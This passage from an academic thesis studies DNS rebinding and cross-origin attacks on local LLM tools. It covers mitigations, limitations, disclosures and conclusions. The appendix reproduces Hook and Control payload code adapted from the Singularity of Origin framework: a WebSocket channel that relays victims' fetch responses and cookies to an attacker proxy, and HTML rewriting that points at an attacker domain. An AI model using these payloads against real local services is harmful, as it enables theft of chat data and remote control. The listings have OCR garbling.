analyzed, only Msty validated the Host header by default (see Section 5.2).
At the time of publication, however, both Jan Al and Text Generation We-
bUI implemented default protections following our disclosures. As shown
in Figures 6.1 and 6.2, Jan Al now includes a security option that allows
users to configure which IP address the server binds to (e.g., 127.0.0.1 or
0.0.0.0). This determines which Host values are accepted.

Developers should also set restrictive CORS policies that define which origins
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Server Configuration

Server Host
_ A 127.0.01
Choose between 127.0.0.1 or 0.0.0.0

127.0.0.1
Server Port

0.0.0.0
Set the port number for the APl server

API Prefix

Set the API endpoint prefix
APl Key

Authenticate requests with an APl key

Trusted Hosts

Add trusted hosts that can access the APl server

Advanced Settings

Cross-Origin Resource Sharing {CORS)

Allow requests from different origins to access the API

Figure 6.1: Jan AI’'s HT'TP server configurations, which require manually
setting an API key to restrict access.

curl http://localhost:1337 -H 'Host: evil.com'

Invalid host header

Figure 6.2: Jan Al rejecting a request due to an invalid Host header.

can access server resources. Broad configurations, such as Access-Control-
Allow-Origin:*, should be avoided, especially when servers handle sensi-
tive operations or provide powerful APIs. This kind of permissive configura-
tion was common in many popular tools (see Table 4.2), where their servers
accepted cross-origin requests by default. However, products such as Jan
AT and LMStudio, offered users the option to adjust CORS settings directly
through their interfaces (see Figure 6.3).

Specific Recommendations for Developers

Based on the findings presented in this thesis, we propose the following
recommendations to improve the security of local LLM deployment tools.

First, authentication should be mandatory for web Uls. Users should not be
allowed to skip login, and tools should reject unauthenticated access entirely.
Among the tools we analyzed, only Open WebUI enforced authentication on
its web interface by default (see Section 5.2). NextChat supported access
codes, but this could be bypassed in local deployments. In contrast, most
tools offering web Uls, such as LobeChat, Llama.cpp, Llamafile, Text Gen-
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Figure 6.3: CORS configuration toggle in LMStudio.

eration WebUI, and LocalAl, did not enforce authentication on their web
interfaces.

Similarly, API endpoints should require valid API keys for every request. If
anonymous access is permitted, it should not be the default, and users should
be clearly warned about the risks they are exposed to. In our analysis, only
Anything LLM and Open WebUI enforced authentication using APT keys
by default (see Section 5.2). Other tools, including Llama.cpp, LocalAl,
NextChat, Text Generation WebUI, LobeChat, Llamafile, and vLLM, sup-
port this security feature, although it can be omitted. Therefore, developers
should not rely on warnings alone when exposing sensitive API endpoints,
such as /slots in Llama.cpp [34], but enforce authentication by default.
Following our disclosures, Jan Al now requires users to set an API key
when launching the local server (see Figure 6.1).

We also encourage developers to recommend running their tools behind a
local reverse proxy, in particular, in production deployments. This provides
additional access control, better handling of TLS connections, and more
robust filtering at the network layer [96].

Browser Protections

Modern browsers do not currently implement mitigations that prevent DNS
Rebinding attacks. The SOP restricts cross-origin access if strict CORS
headers are used (see Subsection 2.2.2), but does not protect against DNS
Rebinding.

The PNA specification discussed in Section 2.4 includes preflight checks that
restrict public access to local services. Although the PNA has the potential
to offer robust protection against DNS Rebinding in the future, security
consultants showed that attackers can still bypass it by exploiting timing
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issues and misconfigurations [58,95]. As a result, browser vendors placed the
roll-out of the PNA on hold, pending further modifications of the standard
[35]. In response to the limitations of the PNA, Google engineers proposed
a successor: Local Network Access (LNA) (see Section 2.4). Because the
LNA should be easier to deploy in practice [33], it shows promise to protect
against DNS Rebinding attacks in the future.

Other defenses implemented within browsers have been proposed in aca-
demic research, including Extended SOP [49], Internal Network Policy [10],
and browser plugins such as Fail-rebind [41]. Although these techniques
show potential in preventing DNS Rebinding attacks, none have been widely
adopted in mainstream browsers to this date.

Mitigations for Users

From the user’s perspective, additional protections are possible, such as
using browser extensions that block scripts from running within browsers
(e.g., NoScript [78]), employing ad-blockers, manually enabling HTTPS-
only modes [36,71], and being vigilant about the public domains they access.
Empirical studies indicate that human error contributes to approximately
95% of cybersecurity breaches. More importantly, the majority of them
were the result of visiting untrusted websites, ignoring security warnings,
and delaying software updates [60]. Therefore, users should adopt safer
browsing habits, avoid visiting suspicious domains, and pay attention to
security warnings within browsers.

6.2 Limitations

Although we conducted live attack scenarios across several tools, certain
limitations shaped the scope and findings of this study.

6.2.1 Limitations of DNS Rebinding

The main constraint was the nature of DNS Rebinding itself. In certain envi-
ronments, users may be able to configure their local servers to use HT'TPS by
manually setting self-signed TLS certificates. Local servers present these cer-
tificates and browsers accept them for trusted domains, such as localhost.
As a result, when a local application uses HTTPS, the attacker’s web page
delivered over HT'TP cannot bypass the SOP anymore due to a mismatch in
the protocol values. However, even if the malicious web page is delivered over
HTTPS, an attacker cannot present a valid TLS certificate matching the ex-
pected domain (e.g., s-1.2.3.4-1localhost-1234-fs-e.dynamic.trustmy
domain.ink). This limits the feasibility of DNS Rebinding against services
that use HT'TPS.
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Another limitation is related to the browser environments used during test-
ing. We conducted live attack scenarios on Firefox (version 137.0.2) and
Chrome (version 135.0.7049.114) without ad-blockers or other browser ex-
tensions, such as NoScript [78]. In practice, these browser extensions may
interfere with the execution of scripts, block outgoing requests, or detect
specific behavior introduced by DNS Rebinding attacks. Additionally, the
attack setup assumes that the victim’s browser can access resources over
HTTP. If the browser enforces the HT'TPS-only mode supported by recent
versions of Firefox [71] and Chrome [36], then DNS Rebinding attacks will
fail due to secure transport and mismatches in the origins.

Similarly, the presence of intrusion detection or prevention systems (ID-
S/IPS) on the local network can interfere with DNS Rebinding attacks.
Such systems may act in advance and query the attacker’s domain before-
hand, causing out-of-order DNS responses to reach the victim and disrupt
the rebinding sequence that we intended [29]. The Singularity of Origin
framework includes a bypass strategy for this scenario through randomized
rebinding. However, it significantly increases the attack duration and does
not guarantee success [29].

The limitations mentioned above are specific to DNS Rebinding attacks and
do not affect cross-origin exploitation, which does not rely on the timing of
DNS resolution or HT'TP constraints.

6.2.2 Limitations of Both Attack Vectors

To conduct the attacks, we assume that each local LLM deployment tool
runs on its default port and binds to a specific IP address, such as 127.0.0.1.
These assumptions were necessary to target them reliably, since both attack
vectors require the adversary to predict the IP address and port where the
vulnerable tool listens for incoming requests. Although these settings are
common, many applications may use non-standard ports or bindings, as
shown in Figure 6.4. In such cases, both DNS Rebinding and cross-origin
exploitation will fail. However, it is worth noting that more advanced attack
frameworks exist that include port scanning techniques to discover active
services within the local network [15].

ip address to listen, or bind to an UNIX socket if the address ends with .sock (default: 127.0.0.1)
(env: LLAMA_ARG_HOST)

--host HOST

port to listen (default: 8080)
(env: LLAMA_ARG_PORT)

--port PORT

Figure 6.4: Llama.cpp CLI options allowing users to set custom host and
port bindings for their local servers.
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6.2.3 Other Limitations

Additionally, the selection of tools analyzed in this study was constrained
by the available time and resources. Although many local LLM deployment
tools exist, we focus on 14 representative products, selected based on popu-
larity and relevance at the time of analysis. As a result, this thesis does not
capture the entire landscape of such tools.

Finally, it is important to acknowledge that this thesis investigates only two
attack vectors: DNS Rebinding and cross-origin exploitation. Therefore,
it does not evaluate other relevant classes of web attacks, such as Cross-
Site Request Forgery (CSRF), Cross-Site Scripting (XSS), and Server-Side
Request Forgery (SSRF). These vectors are well-documented in academic
literature and acknowledged by industry standards [14, 85, 97], and could
represent serious threats if present in local LLM deployment tools.

6.3 Ethical Considerations

In this study, we conducted all live attack scenarios in a controlled environ-
ment using simulated accounts and systems under our control. Therefore,
no personal data or information belonging to real users or third parties was
accessed, transmitted, or stored during the evaluation process.

We reported vulnerabilities identified during our security analysis to the
maintainers of the affected tools between April and May 2025. In total,
we sent disclosure reports to the maintainers of eight projects (see Table
5.1). Each report included a detailed technical explanation of the issue,
reproduction steps, mitigations we proposed, and a contact for further cor-
respondence. A sample disclosure report sent to the maintainers of Jan Al
is included in Appendix A.3.

As of June 2025, we received responses from all the maintainers we contacted
except for GPT4All. Despite the severity of the vulnerabilities identified (see
Table 5.1), only two vendors patched their tools by the time of this thesis
submission. In most cases, developers were reluctant to address the vulner-
abilities or ignored their impact entirely, although we informed them about
the risks their users may face. However, as a result of our disclosures, Jan
Al and Text Generation WebUI now implement protections that prevent
DNS Rebinding attacks (patched in version v0.6.0 [57] and v3.1 [81], re-
spectively, and in all later versions). We explicitly acknowledge that the
developers of Jan Al followed all the recommendations we proposed, even
though the software did not support API keys at the time of the analysis.
In addition, as of June 2025, the maintainers of vLLM are actively working
on a fix for the reported vulnerability [22].
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6.4 Future Work

Future research should address some of the limitations identified in Sec-
tion 6.2. Although this thesis covers 14 widely used local LLM deployment
tools, expanding the scope to include other popular or new similar software
should be a priority. This is the case since it can provide a better under-
standing of the current security landscape in the context of such systems.
Similarly, analyzing deployments in multi-user or enterprise environments
may reveal new risks that are not present in local deployments.

Another direction involves assessing the feasibility of additional attack vec-
tors. As discussed earlier, this study focused solely on DNS Rebinding and
cross-origin exploitation. Future work should investigate other well-known
web attacks, such as Cross-Site Request Forgery (CSRF'), Cross-Site Script-
ing (XSS), or Server-Side Request Forgery (SSRF), and examine how they
may impact similar software.

Finally, as these tools continue to evolve and gain adoption, continuous
analysis will be necessary. Regular security testing could ensure that known
issues do not reappear in future releases.
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Chapter 7

Conclusions

This thesis explored the security risks associated with running local LLM
deployment tools, with a focus on DNS Rebinding and cross-origin exploita-
tion. In short, these attacks allow websites visited by users to leverage their
browsers and access local services. Controlled experiments revealed that
eight out of the 14 tools analyzed were exploitable via at least one attack
vector.

The results indicate that most tools allowed an adversary to perform in-
ference or access private data due to missing or insufficient protections. In
several cases, an attacker could list models installed locally, trigger infer-
ence, or retrieve private chat histories. In addition, they could install or
delete models remotely or control web Uls without authentication. These
findings are consistent with prior security discussions and disclosures that
highlight the lack of basic protections in local Al services [30,32,89,91,93].

Our study also reviewed mitigations against these attacks. While some tools
support protections such as API keys or host validation, developers often
disable them by default or omit them entirely. Defenses for browser vendors,
such as Private Network Access and Local Network Access, show promise but
are not yet reliable in practice or are not enforced at all [33,35]. Similarly,
certain products still lack strict CORS configurations. However, as a result
of our disclosures, both Jan Al and Text Generation WebUI improved their
protections against DNS Rebinding attacks.

In summary, this thesis shows that through DNS Rebinding and cross-origin
exploitation, an attacker could compromise local LLM deployment tools that
lack basic protections. Such attacks may impact the integrity and availabil-
ity of these tools, as well as the confidentiality of their users’ data. As the
adoption of LLMs on personal devices grows, addressing these weaknesses
should be a priority. Developers should enforce authentication and host
validation by default and limit exposure to reduce the risk of compromise.
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Appendix A

Appendix

A.1 Implementation of Hook and Control Payloads

This section includes the implementation details of the Hook and Control
payloads, including the setup of the WebSocket connection, command han-
dling, and modification of frontends at runtime.

Listing A.1: WebSocket connection logic in Hook and Control payloads.
Adapted from [76].

function modifiedWebSocketHook (headers, initialCookie ,
wsProxyPort, retry) {

if (retry < 0) {
console.log (Abandoning websocket connection to
Singularity after too many retries for:
${window.location .host });
return;

}

const partOne = document.location .hostname
Csplit (7 ) [1]:

const partTwo = partOne.split (7. 7)[0];

const serverlp = decodelpHexString (partTwo);

const wsurl = ${serverlp }:${wsProxyPort };

let httpAuth = false;

if (headers && headers.get ('www—authenticate ’)
l== null) {
httpAuth = true;

}

let ws = new WebSocket(ws://${wsurl}/soows);

62



Listing A.2: Handling commands sent by the attacker via the WebSocket
channel within the victim’s browser. Reproduced from [76].

ws.onmessage = function (m) {
const data = JSON.parse(m.data );

if (data.command ——= ’fetch ’) {
if (data.payload.fetchrequest.method ——= ’GET’
|| data.payload.fetchrequest.method
—— 'HEAD’) {

delete data.payload.fetchrequest.body;
} else if (data.payload.fetchrequest.body
l== null) {
data.payload. fetchrequest.body =
atobUTF8(data . payload. fetchrequest .body);

}

const messagelD = data.payload.fetchrequest.id;
let fetchResponse = {

”7id”: messagelD ,

"command”: 7 fetchResponse”
"response”: {},

’7b0dy77: 777’7

}s

const fetch_retry = (url, options, n)
=> sooFetch(url, options)

.then(function (r) {
fetchResponse.response.status = r.status;
fetchResponse.response . headers = {};
for (let pair of r.headers.entries()) {

fetchResponse.response. headers[pair [0]]
= pair [1];
}
return r.arrayBuffer ();

1))

.then(function (result) {
fetchResponse.body = base64ArrayBuffer(result);
ws.send (JSON. stringify (fetchResponse));

P

.catch (function (e) {
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if (n == 1) throw ”Fetch failed”;
wait (1000). then (()
=> fetch_retry (url, options, n — 1));

});

fetch_retry (data.payload.url, data.payload.fetchrequest ,
10);

}

function getCookies() {
return document.cookie =—= 77 7 []
document . cookie.split (7;’). map(x => x.trim ());

Listing A.3: Runtime patching to override gradio_config.root after DNS
Rebinding

const fetch_retry = (url, options, n) => sooFetch(url,
options)
.then (function (r) {
fetchResponse.response.headers = {};
for (let pair of r.headers.entries()) {
fetchResponse.response. headers[pair [0]] = pair [1];

}

fetchResponse.response.cookies = getCookies ();
return r.arrayBuffer ();
1)
.then(function (result) {
const contentType = fetchResponse.response
.headers|’content—type’] || ’7;
const sessionld = document.location .hostname
-split (7 —7)[2];
const proxyUrl = ‘http://${sessionld}
.trustmydomain . ink : ${wsProxyPort } ¢;

if (contentType.includes (’text/html’)) {
let html = new TextDecoder ().decode(result );

if (html.includes (’window. gradio_config ’)) {
const fixScript =
<script>

function fixGradioRoot () {
if (window.gradio_config && window. gradio_config.root) {
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window. gradio_config.root = "${proxyUrl}”;
return true;

}

return false;
}
if (!fixGradioRoot()) {
const interval = setlnterval (() = {
if (fixGradioRoot()) clearInterval(interval);
}, 100);
}

<\/script >*;

if (html.includes(’<head>")) {
html = html.replace(’<head>’, '<head>" + fixScript);
} else if (html.includes(’<body>")) {

html = html.replace(’<body>’, '<body>" + fixScript);
} else {
html = fixScript + html;

1)

Listing A.4: Dynamic modification of the HTML <base> tag to match the
proxy domain

.then(function (result) {
let decoded = new TextDecoder ().decode(result);

b

let sessionld = ;

try {
const parts = window.location .hostname.split (”—");
if (parts.length >= 3) {
sessionld = parts[2];

} catch (e) {
console.error (” Failed to extract session ID:” | e);

}

const customBase = ‘<base href="http://${sessionld}
.trustmydomain . ink:3129/” />*;

decoded = decoded.replace (
/<base\st+href="[""]«"\sx\/?7>/1,
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customBase
E

if (!decoded.includes(”<base”)) {
decoded = decoded.replace(
/<head[">]|*>/1i,
match => ‘${match}\n ${customBase }°
)
}
)

A.2 Extended Payload Registry for Singularity of
Origin
A.1 Payloads Directory

Figure A.1 shows the layout of the “payloads/” directory within the “html/”
folder of the Singularity of Origin framework. For each payload described
in Section 4.4, we created a separate JavaScript file named after the target

service.

RITY [SSH: 167.71.73.1586]

Figure A.1: Structure of the extended payload registry.
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A.2 Registration of Payloads

Figure A.2 shows an excerpt from the “manager-config.json” file used by
Singularity to configure automatic DNS Rebinding and associate payloads
with specific ports.

a Llama2 Exfil",

Figure A.2: Excerpt from “manager-config.json” showing payload registra-
tion.

A.3 Example of a Payload

The complete implementation of the JanGetAvailThreads payload we de-
signed to target local instances of Jan Al is available online at https://gist.
github.com/laurian19/99553aadfcel2fa65ec38332379¢8597.

A.3 Disclosure Report

We submitted the following report to the maintainers of Jan Al to respon-
sibly disclose the vulnerability identified within live attack scenarios:

Subject: Security Disclosure: DNS Rebinding Vulnerability in
Jan Al
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Hi!

My name is Laurian Duma and I am a final year Computing Sci-
ence student at Radboud University, in the Netherlands. Over
the past few weeks, I have conducted an in-depth security anal-
ysis on locally run LLM deployment tools, including Jan. My
investigation showed that Jan is susceptible to DNS rebinding
attacks, allowing a malicious web page to read sensitive infor-
mation from a victim’s local Jan installation.

Summary: DNS rebinding is a form of attack where a "ma-
licious web page causes visitors to run a client-side script that
attacks their own computer’s local network, including their own
machine”. For a detailed explanation, please refer to: https:
//en.wikipedia.org/wiki/DNS _rebinding.

Using DNS rebinding, I demonstrated that if a user visits a mali-
cious web page, the page can easily extract sensitive information
from the user’s local Jan instance. In particular, I successfully
retrieved data about which models were installed locally, as well
as accessed the content of messages in the chat history. Addition-
ally, I was able to manipulate the system by stopping, loading,
or deleting models, altering server configurations, stopping the
server and generally, making requests to any API endpoint docu-
mented at https://cortex.so/api-reference/#tag/configurations.
This vulnerability would allow an attacker to bypass same-origin
policy restrictions and stealthily exfiltrate the chat history and
model information, representing a severe privacy and security
risk for all Jan users.

Details: The vulnerability of Jan is the combination of several
security weaknesses, such as:

e Lack of Host Header Verification: the Jan server does
not validate the Host header of the incoming HTTP re-
quests. This means the server accepts connections from any
domain, including malicious websites using DNS rebinding
to spoof their origin.

e Lack of Access Control or Authorization Mecha-
nisms: there is no role-based access control or authoriza-
tion mechanisms such as API keys on the local API server
for incoming requests, by default.

Steps to Reproduce: I have developed a proof of concept
demonstrating how an attacker can exfiltrate both the currently
installed models and the chat history from a victim’s local Jan
installation.
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1. Launch Jan on the target system.

2. Create several threads and engage with a model of your
choice (downloaded and used locally).

3. Navigate to the Local API Server tab within Jan.
4. Start the server using default configurations.

5. Click on the following link, which simulates the malicious
web page: http://rebinder.trustmydomain.ink:1337/autoattack.
html

6. See the exfiltrated data within the malicious web page.

Notes:

The attack should work with any operating system (OS) and
browser, but we specifically used the following software in our
tests:

e OS: Debian Linux distribution

e Browsers: Mozilla Firefox (version 137.0.2) and Google Chrome
(version 135.0.7049.114)

e DNS Rebinding Tool: NCC Group’s Singularity of Origin
(https://github.com/nccgroup/singularity)

e Jan Local API Server configuration: Default settings with
port 1337 and API prefix /v1

Important: The attack succeeds regardless of whether the server
is listening on 127.0.0.1 or 0.0.0.0, and whether CORS is
enabled or disabled. No HTTPS Proxy is used.

Impact

This vulnerability targets users who enable Jan’s local API server
feature. By simply visiting a web page, the victim’s potentially
sensitive chat history may be exfiltrated without the victim’s
knowledge. The risk is especially high for users who assumed
their messages will remain local and shared sensitive details in
their chats. In addition to this, manipulating the local Jan in-
stance by stopping, loading, or deleting models, as well as stop-
ping the server can cause denial of service. Altering the server
configuration such as the list of allowed origins, might further
compromise the system. Finally, while not as critical, the vic-
tim’s installed models can be collected and used as a means of
fingerprinting.

Mitigation Recommendations
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The server should check the Host header of the incoming HTTP
requests and make sure it contains the expected values such as
localhost, 127.0.0.1, or a user configurable trusted domain,
for more flexibility.

For additional defenses against DNS rebinding, please consider
the NCC Group’s guidelines: https://github.com/nccgroup/
singularity/wiki/Preventing-DNS-Rebinding-Attacks.

I would greatly appreciate it if you could inform me about any
steps you may take in response to this disclosure. I intend to
mention your fix in my bachelor thesis, with a submission dead-
line in June.

Finally, I would like to make it clear that real users’ personal
or non-personal data was NOT captured during this study. All
tests are done with simulated accounts under my control.

Please do not hesitate to contact me for any further clarification
or additional information!

Thank you for your attention to this critical security matter!

Kind regards,
Laurian

PS: This work is done under the supervision of Assistant Pro-
fessor Gunes Acar, who can be contacted at g.acar@cs.ru.nl
(https://gunesacar.net)
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